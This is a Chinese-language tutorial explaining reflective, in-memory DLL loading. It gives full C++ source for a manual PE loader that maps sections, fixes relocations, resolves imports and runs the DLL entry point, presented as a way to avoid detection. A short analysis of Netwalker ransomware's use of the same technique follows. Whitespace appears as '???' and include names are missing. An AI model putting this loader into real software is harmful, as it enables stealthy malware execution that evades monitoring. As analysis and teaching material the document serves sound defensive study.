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01
技術概要
這是一種允許攻擊者從內存而非磁盤向指定進程注入DLL的技術，該技術比常規的DLL注入更為隱蔽，因為除了不需要磁盤上的實際DLL文件之外，它也不需要任何Windows加載程序的輔助即可注入。這消除了將DLL注冊為進程已加載模塊的需求，從而可逃脫工具的監視。
首先準備好測試dll，使用VS2015先編譯生成一個測試dll文件，作用是dll被進程附加的時候會執行MessageBox彈框，切記不要選擇空項目。如下，在DLL_PROCESS_ATTACH添加一個消息框函數，直接編譯生成dll。
下面會根據源碼逐步分析整體執行流程，示例代碼是模擬內存自加載dll的過程，為了演示所以采用了比較簡單的方式，dll文件生成后放在在本地，而真實案例中惡意代碼會存在母體文件的內存中，因為需要不落地內存加載。
先聲明相應的結構體變量，采用指定位數的方式指定結構體變量實際占用的位數(根據重定位表的特性)，聲明一個函數指針便于后續進行調用執行dll入口。
第一步先通過GetModuleHandleA獲取基址，避免ASLR隨機基址影響，讀取dll文件內容加載至內存中，通過PE結構獲取實際加載至內存中dll的PE頭部數據。
分配dll加載時所需的內存空間，獲取加載基址與預期基址的差值，接著復制dll頭部數據至新的內存空間。
開始模擬Windows加載器功能加載PE文件至內存，如下。
02
PE文件重定位
基址重定位表位于PE頭的IMAGE_NT_HEADERS/IMAGE_OPTION_HEADER/IMAGE_DATA_DIRECTORY[5]，換句話說重定位表位于可選頭的數據目錄表下的第六項，基址重定位表中記錄硬編碼地址的位置(偏移)，使用這張表就能獲得準確的硬編碼地址偏移并后續對其修正。重定位表是按照一個物理頁(4kb或1000H)進行存儲的，也就是一個重定位塊負責一個4kb內存頁，一個重定位表只管自己當前的物理頁重定位。一個重定位表的記錄偏移的大小是2個字節(1000H最多需要12bit即可0~FFFH)，也就是16位，而記錄偏移的大小是由SizeofBlock決定的。
如何修正？
將指令中的操作數按照指針字節數讀取出來，然后將其減去默認加載基址(擴展頭中的字段ImageBase)，再加上新的加載基址，最后把新地址存入原來的地址中。
重定位工作完成之后，進行導入表的解析。
以上工作準備完畢之后，就已經模擬內存加載完成，之后獲取dll文件入口點進行執行，利用了之前聲明的函數指針。
03
示例源碼
#include
#include
typedef struct BASE_RELOCATION_BLOCK {
???????DWORD PageAddress;
???????DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
???????USHORT Offset : 12;
???????USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved);
int main()
{
???????//得到當前模塊的基址
???????PVOID imageBase = GetModuleHandleA(NULL);
???????//本地加載dll內容至內存中
???????HANDLE dll =??CreateFileA("C:\\Users\\onion\\Desktop\\dll\\Release\\dll.dll", GENERIC_READ,??NULL, NULL, OPEN_EXISTING, NULL, NULL);
???????DWORD64 dllSize = GetFileSize(dll, NULL);
???????LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
???????DWORD outSize = 0;
???????ReadFile(dll, dllBytes, dllSize, &outSize, NULL);
???????//獲取已加載至內存中的dll的頭部數據
???????PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
???????PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes +??dosHeaders->e_lfanew);
???????SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
???????//分配dll加載時所需的內存空間
???????LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase,??dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
???????//得到實際分配的內存基址與預期的基址差值,便于后續進行重定向
???????DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase -??(DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
???????//將dll頭部數據復制到分配的內存空間
???????std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
???????//加載節區數據至新的內存空間
???????PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
???????for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
???????{
??????????????LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase +??(DWORD_PTR)section->VirtualAddress);
??????????????LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes +??(DWORD_PTR)section->PointerToRawData);
??????????????std::memcpy(sectionDestination, sectionBytes,??section->SizeOfRawData);
??????????????section++;
???????}
???????// 開始dll加載實現重定位
???????IMAGE_DATA_DIRECTORY relocations =??ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
???????DWORD_PTR relocationTable = relocations.VirtualAddress +??(DWORD_PTR)dllBase;
???????DWORD relocationsProcessed = 0;
???????while (relocationsProcessed < relocations.Size)
???????{
??????????????PBASE_RELOCATION_BLOCK relocationBlock =??(PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
??????????????relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
??????????????DWORD relocationsCount = (relocationBlock->BlockSize -??sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
??????????????PBASE_RELOCATION_ENTRY relocationEntries =??(PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
??????????????for (DWORD i = 0; i < relocationsCount; i++)
??????????????{
?????????????????????relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
?????????????????????if (relocationEntries[i].Type == 0)
?????????????????????{
???????????????????????????continue;
?????????????????????}
?????????????????????DWORD_PTR relocationRVA = relocationBlock->PageAddress +??relocationEntries[i].Offset;
?????????????????????DWORD_PTR addressToPatch = 0;
?????????????????????ReadProcessMemory(GetCurrentProcess(),??(LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR),??NULL);
?????????????????????addressToPatch += deltaImageBase;
?????????????????????std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA),??&addressToPatch, sizeof(DWORD_PTR));
??????????????}
???????}
???????//解析導入表
???????PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
???????IMAGE_DATA_DIRECTORY importsDirectory =??ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
???????importDescriptor =??(PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
???????LPCSTR libraryName = "";
???????HMODULE library = NULL;
???????while (importDescriptor->Name != NULL)
???????{
??????????????libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
??????????????library = LoadLibraryA(libraryName);
??????????????if (library)
??????????????{
?????????????????????PIMAGE_THUNK_DATA thunk = NULL;
?????????????????????thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase +??importDescriptor->FirstThunk);
?????????????????????while (thunk->u1.AddressOfData != NULL)
?????????????????????{
???????????????????????????if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
???????????????????????????{
??????????????????????????????????LPCSTR functionOrdinal =??(LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
??????????????????????????????????thunk->u1.Function =??(DWORD_PTR)GetProcAddress(library, functionOrdinal);
???????????????????????????}
???????????????????????????else
???????????????????????????{
??????????????????????????????????PIMAGE_IMPORT_BY_NAME functionName =??(PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
??????????????????????????????????DWORD_PTR functionAddress =??(DWORD_PTR)GetProcAddress(library, functionName->Name);
??????????????????????????????????thunk->u1.Function = functionAddress;
???????????????????????????}
???????????????????????????++thunk;
?????????????????????}
??????????????}
??????????????importDescriptor++;
???????}
???????//執行加載的dll
???????DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase +??ntHeaders->OptionalHeader.AddressOfEntryPoint);
???????(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
???????CloseHandle(dll);
???????HeapFree(GetProcessHeap(), 0, dllBytes);
???????return 0;
}
04
整個流程
1、讀入原始DLL文件至內存緩沖區；
2、解析DLL標頭并獲取SizeOfImage；
3、為DLL分配新的內存空間，大小為SizeOfImage；
4、將DLL標頭和PE節復制到步驟3中分配的內存空間；
5、執行重定位；
6、加載DLL導入的庫；
7、解析導入地址表(IAT)；
8、調用DLL的DLL_PROCESS_ATTACH；
05
演示效果
06
真實案例
Netwalker勒索軟件dll自加載技術
惡意文件是一個混淆并加密過的PowerShell腳本，先對PowerShell腳本進行解混淆。解混淆后的內容如下，字節序列中的0x4d、0x5a明顯是一個PE文件標志頭，一旦加載執行后，這部分內容就在內存中了。
明顯的C#代碼模擬解析PE結構，如下。
執行自加載執行，如下。
更詳細的內容可去除混淆后自行查看，該勒索樣本實現的反射加載過程非常明顯。加載執行后，通過模擬加載dll并調用導出函數Do后進而實現注入目標進程，類似的技術則與開源項目PowerSploit中的反射自加載的Mimikatz腳本實現相類似。
07
參考
https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
函數)
